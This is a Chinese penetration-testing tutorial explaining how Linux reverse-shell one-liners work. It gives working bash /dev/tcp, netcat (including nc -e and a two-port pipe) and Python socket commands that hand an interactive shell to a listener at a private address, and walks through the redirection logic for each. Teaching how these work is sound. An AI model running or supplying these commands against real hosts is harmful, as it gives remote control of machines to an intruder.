http://p1.qhimg.com/t01017ce70b818b72c6.jpg



前言


当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个命令就可以反弹shell了,却没有一篇文章介绍这些命令究竟是如何实现反弹shell的。既然大牛们懒得科普,那我就只好自己动手了。本文就来探讨一下相关命令实现的原理。


Bash


这篇文章的起因就是网上给的Bash反弹shell的实现:

1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

看到这短短的一行代码,正在复习Linux,自我感觉良好的我顿时充满了挫败感,这都是些什么鬼。于是决定一定要搞明白它。

首先,bash -i是打开一个交互的bash,这个最简单。我们先跳过“>&”和“0>&1”,这两个是本文重点,等会再说。先来说“/dev/tcp/”。

 /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

要想了解“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。

linux shell下常用的文件描述符是:

1.  标准输入   (stdin) :代码为 0 ,使用 < 或 << ; 

2.  标准输出   (stdout):代码为 1 ,使用 > 或 >> ; 

3.  标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

很多资料都会告诉我们,2>&1是将标准错误输出合并到标准输出中,但是这四个符号具体要如何理解呢?我刚开始直接将2>看做标准错误输出,将&看做and,将1看做标准输出。这样理解好像也挺对,但是如果是这样的话0>&1又该如何理解呢?

其实&根本就不是and的意思,学过C/C++的都知道,在这两门语言里,&是取地址符。在这里,我们也可以将它理解为取地址符。

好了,基本知识说完了,下面我们就探讨一下困扰了我一天的“>&”究竟是什么意思。首先,我在查资料的过程中虽然没有查到“>&”究竟是什么,但是有一个跟它长得很像的符号却被我发现了,那就是“&>”,它和“2>&1”是一个意思,都是将标准错误输出合并到标准输出中。难道“>&”和“&>”之间有什么不为人知的交易?让我们来动手测试一下。

http://p0.qhimg.com/t018103f64da7f9688a.png

从图片中我们可以看到,在这里">&"和“&>”作用是一样的,都是将标准错误输出定向到标准输出中。

既然如此,那么我们就把他俩互换试试看,究竟结果一不一样。

我在虚拟机里执行

1
bash -i >& /dev/tcp/10.0.42.1/1234

结果如下图所示,虽然命令和结果都在我本机上显示出来了,但实际上命令并不是在本机上输入的,而是只能在虚拟机里面输入,然后命令和结果都在我本机上显示。

http://p8.qhimg.com/t019f28c3bb9f43c90e.png

http://p7.qhimg.com/t01fb430cf20c8cd35d.png

我们再执行

1
bash -i &> /dev/tcp/10.42.0.1/1234

效果是一样的,就不上图了。所以由实践可知,“>&”和我们常见的“&>”是一个意思,都是将标准错误输出重定向到标注输出。

好了,一个问题已经解决,下一个就是“0>&1”。我们都知道,标准输入应该是“0<”而不是“0>”,难道这个跟上一个问题样都是同一个命令的不同写法?让我们试一下“0<&1”,看看会发生什么。

http://p8.qhimg.com/t017c416915e0858e0e.png

http://p7.qhimg.com/t01a654246470f5c852.png

在上图中我们得到了一个交互的shell。果然是这样!“0>&1”和“0<&1”是一个意思,都是将标准输入重定向到标准输出中。使用

1
bash -i &> /dev/tcp/10.42.0.1 0<&1

同样能反弹一个可交互的shell。

综上所述,这句命令的意思就是,创建一个可交互的bash和一个到10.42.0.1:1234的TCP链接,然后将bash的输入输出错误都重定向到在10.42.0.1:1234监听的进程。


NetCat


如果目标主机支持“-e”选项的话,我们就可以直接用

1
nc -e /bin/bash 10.42.0.1 1234

但当不支持时,我们就要用到Linux神奇的管道了。我们可以在自己机器上监听两个端口,

1
2
nc -l -p 1234 -vv
nc -l -p 4321 -vv

然后在目标主机上执行以下命令:

1
nc  10.42.0.1 1234  |  /bin/bash  |  nc 10.42.0.1 4321

这时我们就可以在1234端口输入命令,在4321端口查看命令的输出了。

管道“|”可以将上一个命令的输出作为下一个命令的输入。所以上面命令的意思就是将10.42.0.1:1234传过来的命令交给/bin/bash执行,再将执行结果传给10.42.0.1:4321显示。


Python


1
2
3
4
5
6
7
8
python -c 
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.42.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'

python -c表示执行后面的代码。首先引入了三个库socket,subprocess,os,这三个库后面都要用到,然后创建了一个使用TCP的socket,接着执行connect函数连接到黑客主机所监听的端口。接着执行os库的dup2函数来进行重定向。dup2传入两个文件描述符,fd1和fd2(fd1是必须存在的),如果fd2存在,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,fd2这个文件描述符不会发生变化,但是fd2指向的文件就变成了fd1指向的文件。 这个函数最大的作用是重定向。三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。最后建立了一个子进程,传入参数“-i”使bash以交互模式启动。这个时候我们的输入输出都会被重定向到socket,黑客就可以执行命令了。

http://p3.qhimg.com/t010ef8a3bfdadc89c6.png

http://p3.qhimg.com/t01a0346934590463b9.png

我们可以看到成功的弹回了一个shell。


总结


在对信息安全的学习中,我们要时刻保持好奇心,多问为什么,要多去探究根本原理,而不是只会使用工具和死记硬背,遇到不会又搜不到答案的问题,我们要大胆猜想,小心求证,只有这样我们才能不断的进步,在信息安全的领域越走越远。



本文由 安全客 原创发布,作者:派大星